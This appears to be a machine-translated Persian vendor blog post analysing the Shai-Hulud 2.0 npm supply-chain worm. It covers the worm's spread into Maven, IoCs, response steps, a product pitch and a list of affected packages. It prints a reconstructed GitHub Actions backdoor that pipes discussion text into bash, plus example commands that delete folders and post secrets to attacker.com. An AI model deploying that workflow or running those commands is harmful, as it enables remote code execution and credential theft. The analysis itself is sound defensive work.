شای هولود - حمله به زنجیره تامین npm

حمله زنجیره تامین Shai-Hulud 2.0 NPM

TL؛ DR

در ۲۴ نوامبر ۲۰۲۵، محققان کشف کردند شای هولود: ظهور دوم، موج جدیدی از حمله زنجیره تامین NPM که بسته‌های npm را دوباره آلوده می‌کند، اعتبارنامه‌ها را می‌دزدد و در دستگاه‌های توسعه‌دهندگان پخش می‌شود. CI/CD pipelineبرخلاف حادثه اول، این نسخه Runtime Bun را به صورت آنی نصب می‌کند، درهای پشتی مخفی GitHub Actions را مستقر می‌کند و شامل یک پاک‌کننده مخرب است که قادر به پاک کردن کل دایرکتوری‌های خانگی در لینوکس، macOS و ویندوز است. ظرف چند ساعت، تعداد بسته‌های آلوده از ۸۳۰ مورد فراتر رفت و تأیید کرد که این یک نوع ساده نیست، بلکه تشدید عمده‌ای از کرم اصلی.

تأثیرهر توسعه‌دهنده یا مجری CI که بسته‌های عمومی npm را نصب می‌کند، ممکن است در معرض خطر قرار گرفته باشد. تیم‌های جاوا نیز پس از اینکه بسته‌های آلوده به طور خودکار در Maven Central منعکس شدند، در معرض خطر هستند.

اقدامات فوری: نسخه‌های مخرب شناخته‌شده را مسدود کنید، نصب‌های فقط با قفل فایل را اعمال کنید، اعتبارنامه‌های npm، GitHub و cloud را تغییر دهید، اجراکننده‌های ناشناس self-hosted را حذف کنید و IoCهایی مانند setup_bun.js، bun_environment.js و مخازن مشکوک GitHub حاوی «Sha1-Hulud: The Second Coming» را زیر نظر داشته باشید.

چه چیزی تغییر کرد: شای هولود در حمله زنجیره تامین NPM وقتی که به Maven منتقل شد

موج دوم حمله Shai Hulud منجر به تشدید حملات شد. در اولین کمپین، این کرم در داخل اکوسیستم npm باقی ماند. این بار، بدافزار به داخل آن نفوذ کرد. Maven Centralو تیم‌های جاوایی را که هرگز به npm دست نزده‌اند، آشکار می‌کند.

جدول زمانی و پنجره توکن

حمله از زمانی شروع شد که 24 نوامبر، 2025درست قبل از اینکه npm توکن‌های احراز هویت قدیمی خود را کنار بگذارد دسامبر 9.
این توکن‌های قدیمی راحت‌تر قابل سرقت و استفاده مجدد بودند. از آنجایی که مهاجمان هنوز در این بازه زمانی به آنها دسترسی داشتند، توانستند صدها نسخه مخرب را با سرعت بالا قبل از پایان مهلت قانونی دوباره منتشر کنند.

چگونه بدافزار به Maven رسید

جهش بین رجیستری به این دلیل اتفاق افتاد ام‌وی‌ان‌پی‌امیک ابزار آینه‌سازی خودکار که بسته‌های npm را به مصنوعات Maven تبدیل می‌کند.

mvnpm بررسی‌های امنیتی انجام نمی‌دهد. صرفاً هر چیزی که npm منتشر می‌کند را دوباره بسته‌بندی می‌کند.

در نتیجه:

  • یک بسته npm آسیب‌پذیر (برای مثال posthog-node@4.18.1)
  • به طور خودکار به یک مصنوع Maven تبدیل شد
    org.mvnpm:posthog-node:4.18.1
  • و قبل از اینکه کسی متوجه آلودگی آن شود، در Maven Central منتشر شد.

این به این معنی توسعه‌دهندگان جاوا قربانی نقض امنیتی npm شدندحتی اگر آنها هرگز یک بسته npm نصب نکرده باشند.

چرا این مسائل

این است اولین کرم بین رجیستری شناخته شده، جایی که یک حمله زنجیره تأمین از یک اکوسیستم به اکوسیستم دیگر صرفاً از طریق اتوماسیون گسترش می‌یابد.
به همین دلیل، شعاع انفجار اکنون شامل جاوا، بارهای کاری JVM و enterprise سیستم‌هایی بسازید که به Maven Central متکی باشند.

چه چیزی شای هولود ۲.۰ را اینقدر جدی می‌کند؟

 استفاده از Runtime برای جلوگیری از شناسایی

مهاجمان از Node.js به Runtime Bun تغییر رویه دادند. این بدافزار Bun را به صورت آنی نصب می‌کند. setup_bun.js در طول نصب بسته. این امر از نظارت خاص گره جلوگیری می‌کند و به مهاجمان امکان اجرای سریع‌تر برای یک payload بسیار بزرگ و مبهم را می‌دهد.

اقدامات گیت‌هاب به عنوان یک درب پشتی فرمان استفاده می‌شوند

پس از نصب، بدافزار یک اجراکننده‌ی مخفی GitHub Actions خود-میزبان ایجاد می‌کند.  ‎$HOME/.dev-env/‎‏این روش روی ویندوز، macOS و لینوکس کار می‌کند. مهاجمان می‌توانند به سادگی با ارسال پیام در بحث‌های گیت‌هاب روی یک مخزن آسیب‌دیده، دستوراتی را اجرا کنند. یک فایل گردش کار، آن پیام‌ها را پردازش کرده و آنها را به عنوان دستورات shell اجرا می‌کند.

برف پاک کن داخلی

اگر بدافزار نتواند با GitHub یا npm احراز هویت شود، دایرکتوری خانگی قربانی را پاک می‌کند.

  • در ویندوز از آن استفاده می‌کند از, rdو رمز /W برای پاک کردن فایل‌ها
  • در لینوکس و macOS، داده‌ها را با ... رونویسی می‌کند. خرد کردن و سپس دایرکتوری‌ها را حذف می‌کند.

یک کمپین بسیار پر سر و صدا

اگرچه این بدافزار از برخی روش‌های مخفی‌کاری (مثلاً با استفاده از Bun) استفاده می‌کند، اما کل کمپین به هیچ وجه آرام نیست. این بدافزار به طور تهاجمی بسته‌های آلوده را دوباره منتشر می‌کند، صدها یا هزاران مخزن جدید ایجاد می‌کند، فایل‌های اعتبارنامه را به صورت عمده آپلود می‌کند و اجراکننده‌های خود-میزبان با عمر طولانی را روی دستگاه‌های توسعه‌دهندگان نصب می‌کند. هیچ‌کدام از این‌ها رفتار کم‌اهمیتی نیست. مقیاس، سرعت و «بلندی» عملیاتی این حمله در مقایسه با اکثر حملات زنجیره تأمین که تمایل دارند تا حد امکان نامرئی باقی بمانند، برجسته است..

تأثیر گسترده

مهاجمان بسیاری از بسته‌های شناخته‌شده با میلیون‌ها دانلود ماهانه را به خطر انداختند، از جمله:
Zapier، ENS Domains، Postman، PostHog، AsyncAPI و Voiceflow.

سیگنال‌های انتساب احتمالی

انتساب این حمله دشوار است و هیچ منبع تأیید شده‌ای پشت این کمپین وجود ندارد. یک شرکت امنیتی بزرگ خاطرنشان می‌کند که این عملیات شبیه کرم Shai-Hulud قبلی است، اما تفاوت در نحوه ساخت بار داده و نحوه انتشار بدافزار، به احتمال وجود مجموعه‌ای متفاوت از اپراتورها اشاره دارد. ارزیابی آنها نشان می‌دهد که محیط‌های متعدد، بسته‌های آلوده را قبل از حذف توسط npm دانلود کرده‌اند، که نشان می‌دهد این حمله در دنیای واقعی رخ داده است، نه یک آزمایش کوتاه‌مدت.

با توجه به اینکه تاکتیک‌ها موج اول را تکرار می‌کنند اما در نقاط کلیدی، به ویژه در ساختار بار مفید، منطق انتشار و «سبک» عملیاتی، متفاوت هستند، یک سناریوی تقلید محتمل است. مهاجمان ممکن است ایده‌هایی را از Shai-Hulud قرض گرفته باشند اما ابزار خود را پیاده‌سازی کرده باشند. این می‌تواند نشان دهنده گروه دیگری باشد که کاملاً سعی در تقلید از کمپین قبلی دارد.

در حال حاضر، هیچ مدرک محکمی وجود ندارد که آن را به هیچ عامل شناخته‌شده، گروه با انگیزه مالی یا نهاد وابسته به دولت مرتبط کند. همپوشانی با کرم اصلی واقعی است، اما تفاوت‌ها به اندازه کافی مهم هستند که انتساب آن را در دسته «تایید نشده» نگه دارند.

گسترش در Maven

یک شرکت امنیتی بزرگ تأیید کرد که بسته‌های مخرب npm به طور خودکار از طریق ... در Maven منتشر شدند. ام‌وی‌ان‌پی‌امابزاری که بسته‌های npm را بدون بررسی دستی به مصنوعات Maven تبدیل می‌کند.

بسته‌ی زیر به Maven Central ارسال شد: org.mvnpm:posthog-node:4.18.1

از آنجا که mvnpm به سادگی هر آنچه npm منتشر می‌کند را دوباره بسته‌بندی می‌کند، نسخه‌های آلوده قبل از اینکه کسی متوجه شود، در اکوسیستم جاوا منعکس شدند.

Maven Central در ۲۵ نوامبر ۲۰۲۵ آثار آسیب‌دیده را حذف کرد و شروع به تشدید کنترل‌ها برای جلوگیری از مشکلات مشابه در رجیستری‌های متقابل کرد.

این یعنی پروژه‌های جاوا که هیچ ارتباط مستقیمی با npm ندارند، هنوز هم می‌توانستند در معرض خطر قرار بگیرند.

نحوه‌ی عملکرد حمله‌ی Shai Hulud 2.0

جریان عفونت

  • یک بدخواه پیش نصب اسکریپت اضافه شده است pack.json.
  • setup_bun.js در صورت عدم وجود، Bun را روی دستگاه قربانی نصب می‌کند.
  • bun_environment.js (بیش از ۴۸۰ هزار خط کد مبهم‌سازی شده) در پس‌زمینه اجرا می‌شود.
  • این بدافزار با استفاده از تکنیک‌هایی مشابه TruffleHog، اعتبارنامه‌ها را اسکن می‌کند.
    • کلیدهای AWS، GCP و Azure
    • توکن‌های گیت‌هاب
    • توکن‌های npm
    • اسرار سیستم CI
  • داده‌های سرقت‌شده در مخازن عمومی گیت‌هاب بارگذاری می‌شوند که شرح «Sha1-Hulud: The Second Coming» روی آن‌ها درج شده است.
  • این بدافزار با استفاده از توکن‌های ضبط‌شده، نسخه‌های آسیب‌دیده‌ای از بسته‌ها را منتشر می‌کند، مخازن GitHub قابل دسترسی را آلوده می‌کند و اجراکننده‌های خود-میزبانی مداوم را برای اجرای کد از راه دور نصب می‌کند.

گردش‌های کاری مخرب GitHub

در طول موج دوم حمله زنجیره تامین Shai-Hulud NPM، بدافزار ایجاد شده دو گردش کار مخفی GitHub Actions درون مخازن آسیب‌دیده. این گردش‌های کاری به مهاجمان امکان اجرای کد از راه دور، ماندگاری طولانی‌مدت و دسترسی کامل به اسرار سیستم را می‌دهد.

۱. گردش کار در پشتی (discussion.yaml)

خطرناک‌ترین گردش کار به گوش‌ها گوش می‌دهد بحث‌های گیت‌هاب رویدادها. وقتی یک پیام بحث ایجاد یا ویرایش می‌شود، گردش کار متن پیام را می‌خواند و آن را به عنوان دستور پوسته روی دستگاه قربانی.

در زیر نسخه ساده‌شده‌ای از گردش کار مخرب، که از نمونه‌های مشاهده‌شده بازسازی شده است، آمده است:

				
					# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

				
			

خط بحرانی این است:

				
					${{ github.event.discussion.body }}

				
			

این بدان معناست که مهاجم می‌تواند هر دستوری را در یک بحث گیت‌هاب ارسال کند و اجراکننده‌ی خود-میزبان بلافاصله آن را اجرا می‌کند. از آنجا که اجراکننده‌های خود-میزبان اغلب به شبکه‌های داخلی، اعتبارنامه‌های ابری و اسرار CI دسترسی دارند، این درِ پشتی به مهاجم امکان اجرای کامل کد از راه دور را در طول حمله‌ی زنجیره‌ی تأمین Shai Hulud NPM می‌دهد.

بهره‌برداری از تزریق فرمان

این گردش کار از نحوه پردازش عبارات توسط GitHub Actions سوءاستفاده می‌کند. به جای محدود کردن ورودی به رشته‌های امن، محتوای خام بحث را می‌خواند و مستقیماً به shell ارسال می‌کند. در نتیجه، مهاجم فقط باید پیامی مانند زیر ارسال کند:

				
					rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

				
			

از آنجا که این رفتار بارها در طول حمله زنجیره تامین Shai Hulud NPM ظاهر شد، به یکی از واضح‌ترین سیگنال‌هایی تبدیل شد که نشان می‌داد این بدافزار از GitHub Actions به عنوان یک کانال فرمان از راه دور استفاده می‌کند.

دوندگانی که خودشان میزبان هستند این وضعیت را بدتر می‌کنند زیرا آنها:

  • اجرا در داخل شبکه‌های شرکت
  • ابر را نگه دارید یا CI/CD مدارک تحصیلی
  • با مجوزهای کاربر اجرا شود
  • فاقد سندباکس یا ایزوله‌سازی گیت‌هاب باشید

این امر به مهاجمان یک کانال فرمان پایدار به محیط‌های داخلی می‌دهد.

گردش کار جمع‌آوری اطلاعات محرمانه و سیستمی

علاوه بر درب پشتی، این بدافزار گردش کار دیگری را نیز اجرا می‌کند که هدف آن جمع‌آوری و ذخیره داده‌های حساس از سیستم آلوده است.
این گردش‌های کاری موارد زیر را جمع‌آوری می‌کنند:

  • اعتبارنامه‌های ابری
  • متغیرهای محیطی
  • فهرست های دایرکتوری
  • اسکن‌های مخفی به سبک TruffleHog

آنها داده‌های جمع‌آوری‌شده را در فایل‌هایی مانند موارد زیر ذخیره می‌کنند:

  • ابر.json
  • محیط.json
  • محتویات.json
  • truffleSecrets.json

این فایل‌ها سپس در مخازن GitHub تحت کنترل مهاجم با برچسب‌های زیر آپلود می‌شوند: «شا۱-هولود: ظهور دوم»، جایی که صدها یا هزاران محل دفن زباله مشاهده شد.

شاخص های سازش

پروندهSHA256
setup_bun.jsa3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

سایر پرچم‌های قرمز

  • ‎.github/workflows/discussion.yaml‎‏
  • ‎$HOME/.dev-env/‎‏ حاوی دونده‌های غیرمنتظره
  • مخازن عمومی گیت‌هاب که در حساب شما حاوی «Sha1-Hulud: The Second Coming» ایجاد شده‌اند

معیارهای به‌روزرسانی‌شده (تا تاریخ ۲۶ نوامبر ۲۰۲۵)

متریشمردن
بسته‌های npm به خطر افتادند830 +
مخازن گیت‌هاب آلوده28,000 +
فایل‌های مخفی آپلود شدند5,000 +
اسرار کامل جمع‌آوری‌شده11,858
اسرار معتبر2,298

اکنون چه باید کرد: پاسخ به حمله زنجیره تأمین Shai Hulud NPM

حمله زنجیره تامین NPM شای هولود نیاز به پاسخ سریع و ساختاریافته دارد. از آنجایی که این موج دوم در سراسر npm، GitHub، ماشین‌های توسعه‌دهنده و حتی Maven Central گسترش می‌یابد، تیم‌ها باید به سرعت برای شناسایی، مهار و رفع کامل هرگونه آسیب‌پذیری اقدام کنند. مراحل زیر به شما کمک می‌کند تا به ترتیب صحیح واکنش نشان دهید و خطر نفوذ بیشتر را کاهش دهید.

کشف

  • در گیت‌هاب به دنبال مخازنی با توضیحات «Sha1-Hulud: The Second Coming» بگردید.
  • هنگام نصب بسته‌ها، به دنبال گزارش‌های نصب Bun باشید.
  • فایل‌های package.json را برای اسکریپت‌های چرخه عمر غیرمنتظره، به ویژه پیش نصب.
  • برای چک ‎$HOME/.dev-env/‎‏ روی سیستم‌های توسعه‌دهنده یا CI.
  • گزارش‌های انتشار GitHub و npm را برای نسخه‌های مشکوک بررسی کنید.

مهار

  • همه اعتبارنامه‌ها را بچرخانید: GitHub، npm، cloud، CI secrets، کلیدهای API.
  • غیرفعال کردن و حذف دونده‌های ناشناسِ خود-میزبان.
  • ایجاد مخزن را موقتاً قفل کنید.
  • نسخه‌های آلوده را از نمودار وابستگی خود حذف کنید.

ترمیم

  • سیستم‌های آسیب‌دیده را تمیز کنید.
  • تمام گردش‌های کاری GitHub Actions را برای فایل‌های تزریق‌شده بررسی کنید.
  • لاگ‌های CI خود را برای دستورات یا اجراهای غیرمعمول جستجو کنید.

از روی نسخه‌های بسته‌ی شناخته‌شده و سالم، بازسازی کنید.

چگونه Xygeni به توقف حملاتی مانند Shai-Hulud Second Coming کمک می‌کند

پس از یک کمپین تهاجمی مانند Shai-Hulud Second Coming، تیم‌ها به چیزی بیش از بررسی‌های دستی نیاز دارند. آن‌ها به محافظت خودکاری نیاز دارند که بدافزار را قبل از رسیدن به توسعه‌دهندگان، اجراکنندگان CI یا سیستم‌های تولید مسدود کند. اینجاست که Xygeni یک مزیت بزرگ ارائه می‌دهد.

هشدار زودهنگام بدافزار (MEW): شناسایی تهدیدها قبل از انتشار

 موتور هشدار زودهنگام Xygeni بسته‌های متن‌باز جدید و به‌روز شده را به‌صورت بلادرنگ اسکن می‌کند. این موتور رفتارهای مشکوکی مانند موارد زیر را علامت‌گذاری می‌کند:

  • جاوا اسکریپت مبهم یا کد بسته‌بندی شده‌ی حجیم
  • اسکریپت‌های چرخه عمر که زمان‌های اجرای خارجی مانند Bun را نصب می‌کنند
  • اتصالات غیرمنتظره به گیت‌هاب، npm یا نقاط انتهایی ابری
  • قطره‌چکان‌هایی که داخلشان می‌نویسند $HOME, .dev-env/ یا پوشه‌های گردش کار

MEW الگوهای مورد استفاده در هر دو موج Shai-Hulud را شناسایی کرد که به تیم‌ها کمک می‌کند قبل از اینکه مهاجمان آلودگی را بیشتر گسترش دهند، واکنش نشان دهند.

Guardrails in CI/CD مسدود کردن بسته‌های مخرب

شیگنی اعمال نفوذ می‌کند guardrails که عملیات ناامن را به طور خودکار متوقف می‌کنند:

  • CI pipelineنمی‌توان بسته‌هایی را با اسکریپت‌های پنهان پیش از نصب یا پس از نصب نصب کرد
  • وقتی یک بسته سعی می‌کند گردش‌های کاری مانند موارد زیر را ایجاد کند، ساخت‌ها با شکست مواجه می‌شوند. .github/workflows/discussion.yaml
  • Pipelineوابستگی‌های منتشر شده از منابع غیرقابل اعتماد یا حساب‌های کاربری که برای اولین بار دیده می‌شوند را رد می‌کند.

این امر سطح حمله را به طرز چشمگیری کاهش می‌دهد و از اجرای بدافزار در داخل مشاغل CI جلوگیری می‌کند.

محافظت از اسرار شعاع انفجار را کاهش می‌دهد

از آنجا که Shai-Hulud کلیدهای ابری، توکن‌های GitHub، توکن‌های npm و اسرار CI را می‌دزدد، حفاظت باید بر روی اعتبارنامه‌ها نیز تمرکز کند. Xygeni:

  • اسرار افشا شده درون کد، لاگ‌ها، گردش‌های کاری و فایل‌های محیطی را شناسایی می‌کند.
  • اعتبارنامه‌های پرخطر را به‌طور خودکار می‌چرخاند
  • توکن‌های کوتاه‌مدت را برای محدود کردن سازش بلندمدت اعمال می‌کند

حتی اگر یک مهاجم دسترسی اولیه را به دست آورد، کلیدهای دزدیده شده به سرعت بی‌فایده می‌شوند.

نکات پایانی: چرا حمله به زنجیره تأمین Shai Hulud NPM هنوز اهمیت دارد؟

La ظهور مجدد شای-هولود این حادثه نشان می‌دهد که یک فرد مدرن چقدر آسان حمله زنجیره تامین NPM می‌تواند در اکوسیستم‌های مختلف حرکت کند. در این مورد، بدافزار از npm به Maven منتقل شد زیرا ابزارهای آینه‌سازی خودکار مانند ام‌وی‌ان‌پی‌ام بسته‌های آسیب‌پذیر را بدون تأیید دوباره منتشر کرد. در نتیجه، تیم‌های جاوا حتی اگر هرگز مستقیماً از npm استفاده نکرده بودند، در معرض خطر قرار گرفتند. این امر روشن می‌کند که گردش‌های کاری بین رجیستری نیاز به بررسی فوری و اقدامات حفاظتی قوی‌تری دارند.

علاوه بر این، مقیاس و رفتار این کمپین نشان می‌دهد که مهاجمان امروزه چگونه عمل می‌کنند. آنها به جای سکوت، صدها بسته را به طور همزمان منتشر می‌کنند، اجراکننده‌های مخفی GitHub را مستقر می‌کنند، اسرار را به صورت عمده سرقت می‌کنند و حتی در صورت عدم موفقیت، یک پاک‌کننده مخرب را نیز به کار می‌گیرند. در نتیجه، بررسی‌های دستی با این سطح از اتوماسیون و سرعت مطابقت ندارند. تیم‌ها به محافظت مداوم و بلادرنگ در بسته، منبع و ... نیاز دارند. pipeline لایه.

چرا پیوسته Pipeline Security اکنون ضروری است

حملاتی مانند ظهور مجدد شای-هولود به تکامل خود ادامه خواهد داد. بنابراین، جلوگیری از موج بعدی نیاز به کنترل‌هایی دارد که به طور خودکار در داخل کار کنند. CI/CDنه پس از به خطر افتادن سیستم. دفاع مدرن باید تشخیص زودهنگام بدافزار، اعتبارسنجی دقیق وابستگی‌ها، اجرای سیاست‌ها و محافظت مخفی را با هم ترکیب کند تا کد مخرب نتواند بدون جلب توجه در محیط‌های توسعه حرکت کند.

Xygeni با ارائه خدمات خودکار از این تغییر پشتیبانی می‌کند. guardrails در کل زنجیره تأمین نرم‌افزار. این سیستم بسته‌های مشکوک را قبل از نصب شناسایی می‌کند، نسخه‌های وابستگی ایمن را اعمال می‌کند، گردش‌های کاری ناامن را مسدود می‌کند، اسرار افشا شده را تشخیص می‌دهد و در مورد موارد غیرمعمول هشدار می‌دهد. pipeline فعالیت. در نتیجه، تیم‌ها حتی زمانی که حملات زنجیره تأمین به سرعت گسترش می‌یابند و از مرزهای اکوسیستم عبور می‌کنند، محافظت می‌شوند.

فهرست بسته‌های آسیب‌پذیر

بسته‌های آسیب‌دیده همچنین می‌توانند با استفاده از #شای-هولود / #شای-هولود-دومین-پیامد برچسب درون OpenSourceMalware.com

 
بستهنسخه
02-اکو0.0.7
@accordproject/concerto-analysis3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io۷.۸.۳، ۷.۸.۴
@alexcolls/nuxt-ux۷.۸.۳، ۷.۸.۴
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template۷.۸.۳، ۷.۸.۴
@asyncapi/edvisualiser۷.۸.۳، ۷.۸.۴
@asyncapi/go-watermill-template۷.۸.۳، ۷.۸.۴
@asyncapi/java-template۷.۸.۳، ۷.۸.۴
@asyncapi/keeper۷.۸.۳، ۷.۸.۴
@asyncapi/php-template۷.۸.۳، ۷.۸.۴
@asyncapi/python-paho-template۷.۸.۳، ۷.۸.۴
@asyncapi/server-api۷.۸.۳، ۷.۸.۴
@asyncapi/استودیو۷.۸.۳، ۷.۸.۴
@asyncapi/web-component۷.۸.۳، ۷.۸.۴
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@رفت و آمد/شکوفه1.0.3
@commute/market-data1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumb-js1.0.131
@dev-blinq/cucur_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/address-encoder1.1.5
@ensdomains/لیست سیاه1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renewal0.0.13
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/subdomain-registrar0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts۷.۸.۳، ۷.۸.۴
@everreal/validate-esmoduleinterop-imports۷.۸.۳، ۷.۸.۴
@everreal/web-analytics۷.۸.۳، ۷.۸.۴
@faq-component/core0.0.4
@faq-component/react1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/واکنش-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
اطلاعیه @kvytech/medusa-plugin0.0.8
@kvytech/medusa-plugin-management0.0.5
خبرنامه kvytech/medusa-plugin0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/api-client۷.۸.۳، ۷.۸.۴
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/schoolbus۷.۸.۳، ۷.۸.۴
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker۷.۸.۳، ۷.۸.۴
@ntnx/passport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/error-handler1.2.2
@posthog/agent1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/icons0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/wizard1.18.1
@postman/aether-icons۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@postman/csv-parse۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@postman/node-keytar۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@postman/tunnel-agent۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@seung-ju/بعدی0.0.2
@seung-ju/openapi-generator0.0.4
@seung-ju/واکنش-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json۷.۸.۳، ۷.۸.۴
@tiaanduplessis/react-progressbar۷.۸.۳، ۷.۸.۴
@trefox/sleekshop-js0.1.6
@تریگو/آتریکس7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/bool-expressions4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/api-client۷.۸.۳، ۷.۸.۴
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas۷.۸.۳، ۷.۸.۴
@vishadtyagi/تقویم تمام سال0.1.11
@voiceflow/alexa-types۷.۸.۳، ۷.۸.۴
@voiceflow/anthropic۷.۸.۳، ۷.۸.۴
@voiceflow/api-sdk۷.۸.۳، ۷.۸.۴
@voiceflow/backend-utils۷.۸.۳، ۷.۸.۴
@voiceflow/base-types۷.۸.۳، ۷.۸.۴
@voiceflow/body-parser۷.۸.۳، ۷.۸.۴
@voiceflow/chat-types۷.۸.۳، ۷.۸.۴
